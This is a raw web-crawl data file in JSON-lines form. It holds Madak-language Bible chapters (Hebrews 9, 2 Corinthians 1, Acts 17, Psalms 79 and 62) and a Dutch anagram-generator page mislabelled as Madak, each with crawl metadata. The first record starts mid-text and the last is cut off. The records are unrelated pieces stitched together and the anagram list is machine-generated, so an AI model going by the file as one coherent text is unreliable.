*\nTo melemu at na loxonnep gu, ni lenep gu i sev agepura. Diga soxor i do loxot i xaala aleng tino. Lara lavattamon ga merem to xantubu ri lox epeseves mo lunep gu.\n4 *\nTo melamgo at lavattamon lara loxonin laplavang mo gak lok, diga lox i mi logol la digaplavang go mi levempavaxan una ga so mavak. La to xeneng at loxot i xaala aleng tinotno, lara lobokis bok mo gak lok, diga vop pe i ro maxeneng la maxamang teren mi logol. Mo lobokis ga lok katling lekabus ne Moroa ga lox i eburu mi limixin teren. To xeneng ap mo lobokis lara lavanga lukluxa mo gak lok, diga lox i mi logol, la keneng teren diga lok li levengkoluxa ap mo leveluxa limixin me Israel diga anan i ro at lamatbin. Diga so asen i mi lamaana. Lakdak bok at ne Aron no ga suudun, gak lok go xeneng eburu mi legepuxon uat no ne Moroa ga malagan li lasangaun Levenaulis Linga ren. 5 *\nTo mavana at na lobokis luvanga raptava (cherubim) at ne Moroa mo dugak lox asuusu lisisixam silok boro vana at laxalibet. Duga tu puvung mo loxot, ua lavamaasa diga sep susu i mi lada at levempanga mi lavanuet kangkedek atdi xusu ne Moroa na doxoma xepe laxakapmek at limixin. Ketla monga nia xopmen na epovo kusu ana re axap na levempanga.\n6 *\nMelemu at na, do digara lox agagas li vam na loogu kadis, lavamaasa diga ruka ba i kusu dina lok leven gugu atdi. Diga pubeles uto xeneng mun at lenep gu avot at levenaleng axap ti lok lugugu atdi ngan lavamaasa. 7 *\nKetla lamaasa gomgo xusuk mun neni ga pubeles ti mo loxonnep gu maxeneng tino, mo loxot ga xaala aleng tinotno. Neni ga vubeles go at leges aleng mun keneng at legesa maares. Neni goxo pubeles gamasa, ni ga ba pubeles axa eburu mi lada at levempanga mi lavanuet kangkedek. La neni ga lok letaba mi mo lada ti laxakapmek teren la laxakapmek bok at limixin do digara soogong pam, ketla di goxoklen i do mo levempanga ga lok kapmek. 8 *\nLoroonan Kaala i lox ase dik, mumu na lavanga do langas povolo uto saparap ne Moroa goxovisi na rem suang, ap mo levenaleng loogu kadis move ga tu.\n9 *\nAnaa lavanga ni lampoovo mun ti na levenaleng ti lox asuusu i do leventamtaba la levelaplavang diga etaba min kopmen goxo epovo na lok kepe loklok mamangan at laxakapmek atnedi diga etaba mi mo levempanga. 10 *\nMo leveloklok ti laanan la liinin la leventaangas ti sogos panga, mo leventaangas ga nemen mun kusu mo limixin dina mumu asu i se at laaleng lekabus maxat ga vot.\nLada At Ne Karisito\n11 *\nKetla ne Karisito ga vot ngan Lamaasa Avolo xusu na lox agagas leveloklox anarong at lekabus maxat, ne Moroa im taba limixin teren min. Neni xopmen goxo vubeles at loogu kadis mede xopok. Ketla neni ga vubeles uto xeneng at loxot i xaala aleng la i lox avukat aleng no vana at laxalibet. Mo loxot limixin kopmen di goxo lox i mi levengkikngen di. Lavasuun at na do mo loxot kopmen nak lok de at na lavatbung menemen la ixo epovo nedik ataba ven i mi levengkatli atdik. 12\nKarisito xopmen goxo lok kaka lada at lubulumaxao la at lavatme la ga vubeles min. Ketla neni ga vubeles mi lada axa ren ti mo loxot ga xaala aleng no vana at laxalibet, la ga lok letaba min at legesa xonaleng mun. Ga lox i xuren kusu na un avolo dik mi lada ren la dik atanaba ruuna ka lorooro avolo.\n13 *\nLada at laxanme la laxanbulumaxao la laxakup at lanatpalak bulumaxao diga kotos i, lamaasa gomgo ga sep susu limixin min, nedi nom diga lok laxakapmek kusu dina dadat to maxamang mun. 14 *\nKetla na loklok at lekabus migomgo kopmen na epovo mi mo loklok ne Karisito ga lox i. At loklok tooro at Loroonan at ne Moroa Iesu ga raba xa i ri ne Moroa ngan laplavang avolo, goxopmen taxakapmek teren, kusu na lox adadat dik basinge laxakapmek mo naba lox asuusu lanmet. Kerepmo i epovo do ata mu asu lavavara at ne Moroa, Luntoo Avolo.\n15 *\nKuren la Karisito, neni laradi ga lok lumulum kantubu at limixin mi ne Moroa, la at na langas neni ga lok lekabus maxat. La nedi ne Moroa gara soxolik ka vam di, dinaba ruuna ka leveloklox anarong neni ga vaase ali min tidik, la mo leveloklox anarong naba nemen amisik. Karisito ga met ngan laxaavuk kusu na lox asepmus limixin teren basinge laxakapmek diga lox i ap mo levenaleng diga mumu lekabus migomgo.\n16-17\nDo temen lara i auret na met, neni i epes laxamdak teren mi levempanga ren. Ketla nedi noxo ruuna ka soso mo levempanga do neni move i rooro. Se do ne temendi na met, i epovo ba do mo laxamdak dina ruuna ka mo levempanga at ne temen di. 18\nNi lavasuun teren la lada at lavanga mi lavanuet kangkedek do ga met pam, ga lox amuat lekabus migomgo. 19 *\nNe Moses ga tong asu vam levenngas linga at Laulis Linga ri limixin axap, neni ga lok ka lada at levempatnat bulumaxao, la ga lok eburu i mi ladan. La neni ga lok lavanga sep susu mi lavatkabinim sipsip diga lox amemele i la mi levengkakan una at luuna isop. Neni ga lok ka lada min la gap sep susu lugun linga at Laulis Linga la limixin bok. 20 *\nMoses ga lok keretna, \"Na lada neni loklok katling at lekabus no ne Moroa ga tong i do ata mumu asu i.\" 21 *\nLa at nom langas neni ga sep susu loogu kadis la levempanga axap diga lok mo lugugu at ne Moroa min. 22 *\nI ruturun aleng do levempanga axap diga lok mo lugugu min, diga lox amaxat di mi lada xerekngan Laulis Linga i tong i. La do lada noxo sen, Moroa noxo doxoma xepe laxakapmek at limixin.\n23 *\nKuren la ga epovo do limixin dina lox adadat mo levempanga at loogu kadis mi lada at levempanga digaplavang min. Ketla mo levempanga at loogu kadis ni lampoovo mun ap mo levempanga no vana at laxalibet. Ketla mo levempanga ruturun no vana at laxalibet gak pakes ti lada at ne Karisito. La mo lada ren i lolos aleng ti lada at lavat bulumaxao, la mo lada ren ik lox agagas li mo loxot tidik. 24 *\nKarisito goxo lok lugugu ren to xeneng at loxot kaala limixin diga lox i. Mo loxot ni lampoovo mun ap mo loxot tuturun no vana at laxalibet. Ketla neni ga vubeles to vana at laxalibet kusu na tu ro at lemeren ne Moroa la na ngising i ri lok tooro dik. 25\nNeni ga vubeles uto vana at laxalibet, kopmen tim taba amisik lorooro ren ngan lamaasa gomgo ga pubeles amisik mi lada uto xeneng at loxot i xaala aleng at levenmaares axap, ketla mo lada xopmen lada axa ren. 26\nDo ne Karisito gita mumu mo loklok, neni gitaba suma amisik losongsongot, ga ruka i at lavakpaxaru kaxat at na lavatbung menemen. Ketla at na levenaleng kavaxap, ne Karisito ga vot gesara mun kusu na raba lorooro ren ngan laplavang ti lok kepe laxakapmek la ti lox arooro dik basinge lolos at laxakapmek.\n27 *\nLimixin axap dinaba met la melemu at na, Moroa naba lok li di at lavapaase. 28\nLa kerepmo ne Karisito ga met gesara mun ngan laplavang kusu na lox adadat buaang limixin basinge laxakapmek atdi. La neni nabamlong bok sev agepura, kopmen ti met nop bok ba loklok atdik. Ketla, neni naba lox arooro rino nedi dit kis tangais i.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/png.bible\/mmx\/HEB09.htm","date":"2021-09-24T09:56:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057508.83\/warc\/CC-MAIN-20210924080328-20210924110328-00234.warc.gz","language":"mmx","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"mmx_Latn_score\": 1.0000098943710327}","num_words":1343,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.377,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Korin\nLovoang Sepsev Agepura At Ne Pol\nTi Limixin Nunu To Korin\nTi Limixin Nunu To Korin\nLevelinga Loklox Axasep\nLamaares 57 A.D.\nAt nai lovoang, Pol ga malagan aonon amu manga levelinga uto at limixin nunu boro Korin at lenep Masadonia. Korin neni lemenemen silok to Grik. At lovoang avot at ne Pol ga malagan i rinedi limixin to Korin, neni ga vaase sok di. La melemu at nai neni ga riki ne Taitas ugo saparap di, kusu neni naklen mumu ka avukat nedi la neni bamlong la na vaase ne Pol min. Ne Taitas gamlong la ga vaase la ga lok, \"Limixin boro Korin mo diga ronga levelinga at ne Pol la mo diga leeng pam, ketla lentaba di goxopara levelinga lolos at ne Pol.\"\nKeneng at nai lovoang i vanuet lempanga matmatkun ik lok teren. Lara avot, ne Pol ga momo aleng minedi mo luvuttadi diga leeng basinge leveloklok atdi. Lara i sev agepura ni ga vaase aronga amu manga di. Lara i sev avantun neni ga vaase i rinedi mumu laramtaba diba lok li bubua i xusu tinedi limixin banbalo. Lara i sev avanuet neni ga vaase axasep nedi do neni mo laradi vavang tuturun.\nLengkot silok keneng at na lovoang\n1:1-11 Lavapaase momo at ne Pol ti limixin.\n1:12–7:16 Pol ga vaase mumu lorooro at Loroonan Kaala.\n8:1–9:15 Leveloklok tooro ri limixin boro Jerusalem.\n10:1–13:10 Pol ga vaase pe i ngan laradi vavang.\n13:11-13 Pol ga lox axap lempapaase ren.\n1\nLavapaase Axasep\n1 * 1 Ko 1:1Nenia ne Pol, lun pavang at ne Iesu Karisito. Moroa xa ga soxolik ka ia ri mo lugugu. Ne Timoti, neton dik i paase aru box ia at na lovoang.\nNia a sok na lovoang tinemi limixin mi nunu at ne Moroa dom Korin, la tinemi bok limixin nunu mik lok to at lengkot axap at lenep silok Grik.\n2 * 1 Ko 1:3Letaba nabalamu mi lenmila rinemi boro at ne Moroa ne Temen nedik la Leeme Silok atdik ne Iesu Karisito.\nPol Ga Tong Aorong Ti Ne Moroa\n3 * Ep 1:3; 1 Pi 1:3; Ro 15:5Ata emi asu mi ne Moroa ne Temen Leeme Silok atdik ne Iesu Karisito. Temen dik kusuk mun lavasuun at labalamu, la neni lo Moroa at loklox amenemen. 4 Neni xusuk mun i lox amenemen nama at levenmumuat it pot parap nama. Kuren la nema bok maba epovo xusu mana lox amenemen nedi di ruuna levenmumuat kerepmo mi na lavapaase amenemen, nema maga ruuna ka i boro at ne Moroa. 5 * Sam 34:19; 94:19Nema map kip buaang laxasongsongot keneng at lununu atnama saparap ne Karisito. Kuren la keneng at ne Karisito nema ma ruuna xaka bok loklox amenemen silok at ne Moroa. 6 * 2 Ko 4:15Mo do mana songot at lorooro axap atnama mumu nimi, naba lox avukat aleng mila losongsongot atnama naba lox asuusu loklox amenemen eburu mi lorooro rinimi. Mo do mana lok kaka loklox amenemen ukeneng ti lorooro atnama, na bok naba ravasu ngan loklox amenemen ti lok tooro nimi. Mo loklox amenemen i su auru nimi xusu mina tu atmatkun tip kip mo levesongsongot ngan nema map kiv i. 7 Nema maklen tinotno i do nemi minaba tu atmatkun at lununu atnimi, atla mi vekip tangarang mi mo levesongsongot eburu minama la mira ruuna xaka bok loklox amenemen ngan nama.\n8 * Gu 19:23; 1 Ko 15:32Luvutnetak mi luvurinuk. Ma vara i xusu mina xasep ti levenmumuat maga ekip tangarang min to Asia. Mo levenmumuat maga xip tutu min ga silok aleng la ga mumuat aleng, la ma lixilik maga lok do mana doma abulubun ta at lorooro atnama. 9 I ruturun tinotno do maga nua i do nema mo mana met ta. Ketla anaa lumumuat ga vot ti lox alolos nama xusu ma noxo nunu at lolos axa atnama, ketla at ne Moroa xusuk mun, mo ik lox arooro limixin basinge lanmet. 10 * 2 Ti 4:18Neni ga ranga asepsu nema basinge mo langas ti lanmet la neni nabak lox amisik box i. La ma lok li lodoxoma voovo mavana ren do neni mo nabang tanga axatu bok nema at levenmumuat i nemen tangais nama at na levenaleng i tu umelamgo atnama. 11 Nemi bok minaba lok tooro nama mi levesingising. Kuren la buaang bok atnemi dinaba tong aorong ti ne Moroa do neni ga vorang levesingising atnimi la ga lox aroo nama basinge lanmet.\nPol Ga Lox Ekun Lodoxoma Ren\n12 * Ib 13:18; 2 Ko 2:17; 1 Ko 1:17Nema ma lok momo aleng, mila lodoxoma nunuan atnema i lox ase nema do, loklok atnema at na lavatbung menemen ngan maga ebibinat ka minemi. Ga lok nunuan mene nga la kopmen taxakapmek teren ngan ne Moroa ga lok tooro nama min. Kuren mun maga mumu asu letaba nabalamu at ne Moroa la kopmen do at lakleklen maut at laradi at na laxangka. 13 Ma malagan na lovoang tinimi mi levelinga i xasep aleng la kopmen tevelinga ren go ik lox alipe. La nia am domam poovo i do mibaklen axasep nunuan ba mo levelinga, 14 * 2 Ko 5:12; Pl 2:16nemi mi goxo xasep nunuan teren. Kuren la nemi minaba lok momo aleng mumu nama kerekngan nema manaba lok momo mumu nimi ap mo laaleng Leeme Silok ne Iesu namlong teren.\n15 Nia agaraklen tinotno vam i na. Kuren la nia aga doxoma i do anat pas avot be udom atnimi xusu minaba lok ka amu manga leveloklox anarong. 16 * 1 Ko 16:5-6Aga doma gagas i xusu at lavatpas tarak uto Masadonia la lomlong bok tarak, aba vot pasa be nimi xusu anaba lok ka teveloklok tooro me dom atnimi ti lavatpas tarak uto Judaia. 17 Ise nenia aga soxovo li i na, aga soxovo li i mi luruturun. Nia xopmen agoxo soxovo li mene i mi loklok at na lavatbung menemen la ana sisiam gamasa mene do tuturun la kopmen.\n18 Levelinga at ne Moroa i paase asu i, i ruturun la kerepmo levelinga rak tinimi xopmen loxolinga mene do tuturun kopla kopmen. 19 * Gu 18:5I lok ngan ne Iesu Karisito, Nitna ne Moroa, mo nema mi ne Sailas la ne Timoti maga vavang min kantubu atnimi. Neni xopmen na voovo ela mi levelinga ren, ketla kusuk mun neni i paase ruturun. 20 * Li 3:14I ngan do buaang laxampapaase ali at ne Moroa, ne Iesu ga lox asoorun i. Kuren la ne Iesu Karisito ni luruturun la ma vaase asu i ri lox asuusu lisisixam at ne Moroa. 21 Moroa xa ik lox alolos nema eburu minimi xusu dik ataba tu atmatkun keneng at ne Iesu Karisito. Neni ga soxolik ka dik, 22 * 1 Jo 2:27; Ep 1:13-14; 2 Ko 5:5; Ro 8:16-17la neni ga lok katling dik do ateren akmokso la ga lok li Loroonan Kaala ren keneng atdik ngan lampinebeng.\n23 * Ro 1:9; 2 Ko 11:31A sing ne Moroa xusu na vaase aru ia at na levelinga ana vaase i, la neni ikleklen axap keneng at lorooro rak. Nia a goxopara na lok li lumumuat atnimi. Ni lavasuun teren la nia goxot pas udom Korin. 24 * 1 Pi 5:3Ma xopara i do mana pu soso nimi ri levelinga salai miba nunu ren, mila mi tu atmatkun pam at lununu atnimi. Ketla ma gugu xantubu atnimi xusu miba ruuna ka lomomo.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/ebible.org\/mmx\/2CO01.htm","date":"2021-10-17T03:56:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585120.89\/warc\/CC-MAIN-20211017021554-20211017051554-00657.warc.gz","language":"mmx","language_score":1.0000065565,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"mmx_Latn_score\": 1.0000065565109253}","num_words":1145,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.305,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Anagrammen Generator Invoer Van welke invoer wil je een anagram Woord Optioneel: een woord dat in het anagram moet zitten Zoek Anagrammen! Anagrammen van raad van state met het woord 'ara' ara tand vaste ara savet tand ara daast vent ara stad vaten ara nadat vest ara naad vetst ara evas tandt ara aves tandt ara save tandt ara daten vast ara natst veda ara dans vatte ara datet vans ara advent tas ara advent sta ara dat staven ara dat vasten ara staand vet ara dantes vat ara danste vat ara dan vastte ara das vatten ara as vattend ara das tet van ara das ten vat ara das ent vat ara das net vat ara dat tes van ara dan tes vat ara dat ets van ara dan ets vat ara dat set van ara dan set vat ara das nat vet ara des nat vat ara dat tas ven ara dan tas vet ara end tas vat ara den tas vat ara dat sta ven ara dan sta vet ara end sta vat ara den sta vat ara dat nas vet ara dat sen vat ara dat nes vat ara dat te vans ara dans te vat ara dan te vast ara stad te van ara at dans vet ara at end vast ara at den vast ara at dan vest ara at stad ven ara at das vent ara dat en vast ara en stad vat ara es tand vat ara de nat vast ara de nats vat ara de sant vat ara de tast van ara de stat van ara dat na vest ara na stad vet ara as dat vent ara as tand vet Anagrammen van raad van state met ara - Anagrammen.com Anagrammen.com Home (current)","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.anagrammen.com\/van\/raad+van+state\/met\/ara","date":"2021-12-09T03:31:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363659.21\/warc\/CC-MAIN-20211209030858-20211209060858-00212.warc.gz","language":"mmx","language_score":0.5148131251,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"mmx_Latn_score\": 0.5148131251335144, \"byx_Latn_score\": 0.3486908972263336, \"oci_Latn_score\": 0.05615060403943062, \"lmk_Latn_score\": 0.011218522675335407, \"kup_Latn_score\": 0.01021962333470583}","num_words":291,"character_repetition_ratio":0.123,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.027,"flagged_words_ratio":0.0,"lang_id_score":0.531,"perplexity_score":500.0,"cluster_detection":1} +{"text":"17\nPol Mi Ne Sailas Duga Xip Losongsongot To Tesalonia\n1 *\nPol mi ne Sailas dugat pas kantubu at lunep silok Ampipolis la Apolonia, la duga vas pot to Tesalonia. Ap mo lemenemen loogu singising at lubung mixin me Judaia ga nemen e. 2\nPol ga beles at loogu singising kerekngan ni gak lok amisix i. Mo go ni ga paase eburu mi limixin, la ga tong asu levelinga at Lovoang Kaala, at lavantun levenaleng kaala. 3 *\nNi ga soxomus mo levelinga la ga lox asuusu i rinedi do ga epovo Lanarong na met, la na xatu kaxat amlong bok basinge lanmet. La ne Pol ga lok, \"Na ne Iesu mo nia a tong asu i rinemi, neni Lanarong.\" 4 *\nLentaba atnedi leme Judaia diga nunu la diga mu asu ne Pol la ne Sailas. La buaang nedi bok limixin me Grik no diga lotu saparap ne Moroa, la buaang bok atnedi lavakin doxodok diga nunu.\n5 Ketla lentaba at lubung mixin me Judaia diga reven peves aleng atdu la diga xup bubua ka limixin gamasa to at lengkot etang. La diga lox axatu lodoxoma atdi kusu dina esep. Diga lok li nom lemenemen axap at langsangan lekarakat la diga ut das lumusmaragu at loogu at ne Jeson. Diga lok tong pen i do dina vuse ka ne Pol mi ne Sailas la dina lok ka du kusu duna ru at lavapaase.\n6 *\nKetla di goxo vuse ka du, kuren la diga sat kaka ne Jeson la lentaba luvuttadi nunu uto at limixin amgomgo ap mo lemenemen. Digap kup keretna, \"Na luvuttadi di lok lekarakat silok at lengkot axap! La na dira beles pam at lemenemen atdik. 7 *\nLa ne Jeson ira lam ka di uto at loogu ren. Nedi dira los polo vam leventaangas at laradi gomgo ne Kaisar. Di lok do lara loorong petpes mo, laasen teren ne Iesu.\"\n8 Neni na levelinga diga lox axatu lodoxoma at limixin mi luvuttadi amgomgo ap mo lemenemen ti langsangan leedak. 9 Luvuttadi amgomgo ap mo lemenemen diga tong i ri ne Jeson la nedi luvuttadi nunu xusu dina lok li tempilas ti un asu di, la melemu diga lox aonon nedi.\nBuaang Nedi Limixin Boro\nBeria Diga Nunu At Ne Iesu\n10\nAp mo mene laxanimin luvuttadi nunu diga riki ne Pol mi ne Sailas uto Beria. Duga rupot, la at laaleng kaala dugat pas uto at loogu singising at lubung mixin me Judaia. 11 *\nLimixin me go diga lox avukat aleng mila diga siam ka levelinga atdu. Di goxo ronga xepe levelinga at ne Moroa kerekngan limixin to Tesalonia. Digang tonga mo levelinga mi langsangan lomomo. At levenaleng axap diga utus avukat levelinga at Lovoang Kaala, kusu dina ven i do levelinga at ne Pol ga ruturun. 12\nBuaang atnedi diga nunu, la buaang nedi lavakin silok boro Grik la buaang atnedi lavatlok boro Grik diga nunu bok.\n13 *\nKetla lentaba limixin me Judaia boro Tesalonia diga ronga i do ne Pol mo ga vavang mi levelinga at ne Moroa ro Beria. Diga vas kaxat ugo la diga lox axatu lodoxoma at limixin. 14\nLa soso mun luvuttadi nunu diga sak tiki ne Pol uto loxon, kusu na mu lavatmon. Ketla Sailas mi ne Timoti duga nemen go Beria. 15\nLa nedi diga emu mi ne Pol, digat pas eburu min uto Atens. Melemu digamlong uto Beria mi levelinga loklox axasep boro at ne Pol do ne Sailas mi ne Timoti dunaba vot pasa soso i.\nPol Ga Vavang Ti Limixin To Atens\n16\nPol ga nemen tangais ne Sailas mi ne Timoti ro Atens, ni ga bulu aleng mila ni ga ven i do mo lemenemen ga umsu mi laxampoovo moroa. 17 *\nKuren la ni ga paase ro at loogu singising eburu mi leme Judaia la limixin kopmen di me Judaia bok no diga lotu saparap ne Moroa. La at levenaleng axap ni ga vavang bok ti limixin mo digat pot amisik to at loxot potpot buru. 18\nLentaba luvuttadi loklox ase diga tong nedi do Epikurian*\nla Stoik*\ndiga etep mi levelinga eburu mi ne Pol. Lentaba diga sue, \"Lavanga salai na laradi baulang i lok do na tong asu i?\" Lentaba vetpes diga lok, \"Ni i paase mumu levenmoroa at lengkot petpes.\"\nDiga tong i na mila Pol ga vavang mumu ne Iesu la laxakatu kaxat amlong teren. 19\nKuren la diga lam ka ne Pol, la diga vaxaru i ro melamgo at lixitkis buru at la Ariapagas*\nla diga lok, \"Nema ma vara i do mana ronga na loklox ase maxat, nenu u paase mumu i. 20\nLentaba levelinga ram i reng petpes at lodoxoma atnema, la ma vara i do manaklen i do ua lavasuun teren.\" 21\n(Limixin me go Atens la limixin petpes bok mo diga nemen go, diga vavara amisix i do dina tere la dinang tonga tevelinga mumu lempanga maxat).\n22 Pol ga xatu kaxat upana ro melamgo atdi ro at la Ariapagas la ga lok, \"Limixin mede Atens! A ven i do at lorooro axap atnimi mi lotu saparap buaang levenmoroa, 23 mila nia at pas tangtagap at levengkot at lemenemen silok atnemi la a ven lengkot nemi mi lotu ren. A long lenger i do loxonin laplavang mo, miga malagan i do 'Ti lomoroa kopmen dinakleklen i.' Nemi mi lotu saparav i, ketla nemi xopmen minakleklen i la nenia na ana tong asu i rinimi.\n24 *\nMoroa ga rudum li lavatbung menemen axap la lempanga axap maxeneng teren. Ni Lamgomgo at laxalibet la laxangka, la ni xopmen na nemen at laraogu lotu limixin di lox i. 25 *\nLa ni xopmen nak pakes ti tavanga do tara na raba i min, mila neni xa im taba lorooro la lamamas la lempanga axap ti limixin. 26\nMoroa ga rudum li legesa radi la limixin axap livipisik li ren. Ni ga lok li nedi xusu dina nemen at lengkot axap at na lavatbung menemen. La neni xa ga sok katling levenaleng ti limixin la levenmenemen atdi. 27 *\nMoroa ga lox i na kusu dinaba ven tin, la dina vot pasa i mo do di vara i. Neni xopmen na nemen paxalom basinge dik. 28\nI lok ngan lentaba diga tong i xeretna.\n'Moroa im taba dik mi lorooro la lolos.'\nI ngan bok lentaba luvuttadi vapaase atnimi diga tong i do.\n'Nedik laxamdak teren.'\n29 *\nNedik laxamdak at ne Moroa, kuren la nemen dik ta doxoma i do lampoovo ren i lok ngan lampoovo at logol kopla lisiliva xopla levenuat limixin di lox i mi lakleklen la lolos atdi. 30 *\nGano ne Moroa goxo doma solo laxakapmek at limixin ap mo levenaleng limixin kopmen di goxokleklen i. Ketla lingina i tong lolos i ri limixin at lengkot axap do dina leeng basinge laxakapmek atdi. 31 *\nMila neni ira lok katling pam lara laaleng neni naba lok li limixin axap at lavapaase, la mo lavapaase ren nabak mokso aleng. La ni ga soxolik ka vam lara laradi xusu na ronga linga at laaleng ete. Ni ga lox asuvos pam mo laradi ri limixin axap mi loklok katling keretna, ni ga lox aroo amlong i basinge lanmet.\"\n32 Diga ronga ne Pol ga vaase mumu laxakatu kaxat amlong at lanmet la lentaba atnedi diga lok kalise i. Ketla lentaba diga lok, \"Ma vara i do mana ronga box u, una vaase amu box i.\" 33 Kuren la ne Pol ga on basinge loxot papaase. 34 La lentaba luvuttadi mene diga mumu i la diga nunu. Kantubu atnedi ne Dionisias lara atnedi boro at la Ariapagas, la lara latkin, laasen teren ne Damaris, la lentaba vetpes bok.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/mmx\/ACT17.htm","date":"2021-12-03T04:06:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362589.37\/warc\/CC-MAIN-20211203030522-20211203060522-00314.warc.gz","language":"mmx","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"mmx_Latn_score\": 1.0000096559524536}","num_words":1227,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.362,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"79\nLisingising Ti Lox Asepmus Leme Israel\n1 O Moroa, lavamolon digara buxup beles pam at lenep kangka ram. Digara lox amexexe vam loogu laplavang taram i xaala la ira lok kapmek axap. La diga sele utut kepe lemenemen silok Jerusalem. 2 Diga ke xepe lenbantuxu at limixin taram kusu ti lempatpixa silok. Diga ke xepe lenbantuxu at limixin akmokso ram kusu ti laxampanga sio mi lavanuet kangkedek atdi ri anan. 3 Digap sev asu ladaada at limixin taram ngan ta ladan, la ladaada ga sesen ngan ladan to at lengkot axap keneng Jerusalem. Goxopmen tara ga roo su xusu tik mikmit avukat limixin diga remet. 4 Limixin at lubung mixin petpes ua dik lok saparap nema, di paase mumu parang nama. Ding longon sese nama la di paase aksaksa rinama.\n5 Leeme Silok. Kereva, lebelemamao ram tinema noxo xap ta? Kereva, mo lebelemamao ram nabak lox amisik ta la naba lox asongot nama ngan laxao? 6 Una lok pukus mo lebelemamao ram kusu na subu mavana ap mo limixin petpes no dixo lotu saparav u, la pana atnedi no dixo ngising saparav u. 7 Atla diga sev amet pam limixin taram. Digara lok kapmek lengkot axap at lenep Israel, ni lenep kangka ram. 8 Uguta lox asongot nema mumu laxakapmek at lavalabat atnema. Una lox asuusu nga lebelen tuntun tinema mo, atla lodoxoma abulubun na i suxuna rinotno nga nama.\n9 O Moroa, una lok tooro nema la una lox aroo nema. Una lox asepsu nema basinge na lumumuat la una doma xepe laxapmek atnema xusu levenabung mixin petpes diba raba asinorong u. 10 I lok kapmek do limixin at levenabung mixin petpes diba lok tinema dola, \"Ne Moroa nga ua atnemi?\" Ma vara i do una lox asongot levenabung mixin petpes atla digap sev amet buaang atnema limixin axa ram. 11 Una ronga lerengteng at limixin dik lok at loogu xokoxo, la mi mo lolos taram una lox asepmus nedi mo limixin munepen di gagas kusu dina sev amet di.\n12 Leeme Silok, una vorang i ridi levenabung mixin petpes, mi tavanuti teveloklox asongot axap, mumu mo laxaloklox aksaksa digak lox i ru. 13 Kuren la nema limixin taram, ma ngan laxasipsip taram, manaba tong avukat amisik tu la manaba emi asu amisik minu at levenaleng axap i tu melamgo.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/mmx\/PSA079.htm","date":"2021-11-30T03:41:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358903.73\/warc\/CC-MAIN-20211130015517-20211130045517-00600.warc.gz","language":"mmx","language_score":1.0000071526,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mmx_Latn_score\": 1.000007152557373}","num_words":368,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.247,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"62\nLununu Saga At Loklok Aratao At Ne Moroa\n1 Nia a tu atnaasan to melamgo at ne Moroa, la a ngangais i xusu na lox asepsu ia, atla nenia a nunu saga ren, la kopmen tara bok. 2 Neni xusuk ik lok see rak la ik lox asepsu ia. Neni Lentupe ria, la kopmen tara naba sev asubu ia.\n3 Lavanisa aleng nemi limixin munepen mi vara i do mina esep eburu minia, atla nenia laradi kopmen tololos tarak ngan loroboro i rem tereve si? 4 Mi vara mene i do mina lox asi ia basinge nom loxot kitkis silok tarak. Mi lok momo rik lox asuusu levelinga xaxarang. Mi paase asu levelinga loklox anarong, ketla keneng at lebelen nimi mim doma ali nemnem lasaxaek tia.\n5 Nia ak lok sogo xusuk mun at ne Moroa la nia amdoma ngangais tin. 6 Neni xusuk ik lok see rak la ik lox asepsu ia. Neni Lentupe ria la kopmen tinotno tara noxo sev asubu ia. 7 Nia a nunu saga mun at ne Moroa, atla ik lox asepsu ia la i lox asilox ia. Neni i ruuna lolos ngan Lurutu See Pe rak. Neni i lok ngan loogu matmatkun i kubak pe ia.\n8 Nemi limixin tarak. At levenaleng axap mina nunu saga at ne Moroa. Mina tong asu levenmumuat atnemi rin, atla neni Loxot Loklox Alipe atnedik.\n9 Ketla nemen gat mita nunu saga at limixin atla di lok ngan mene legesa mamas silok laradi i mas abeles ka i. Limixin silok la lixilik di lok ngan levempanga gamasa mun. Do mina lok li di at lisikel, kopmen tumumuat atnedi. Di balalak ngan mene lamamas gamasa. 10 Nemen gat mita doma i do mina sak paxat ka tempanga, la nemen gat mita doma i do mina ruuna ka tavanga at loklok tip kip pilo. Keke i dola lapnovos atnemi na sisilok. Nemen mita doma saga solo ren.\n11 Buaang levenaleng nia agara ronga vam ne Moroa ga tong i do, lolos axap, ateren mene, 12 la labalamu ren i tu amisik.\nO Leeme Silok, nenu naba raba unun ti legetgesara mumu xa levempanga ni ga lox i.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/mmx\/PSA062.htm","date":"2022-01-19T02:02:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301217.83\/warc\/CC-MAIN-20220119003144-20220119033144-00642.warc.gz","language":"mmx","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"mmx_Latn_score\": 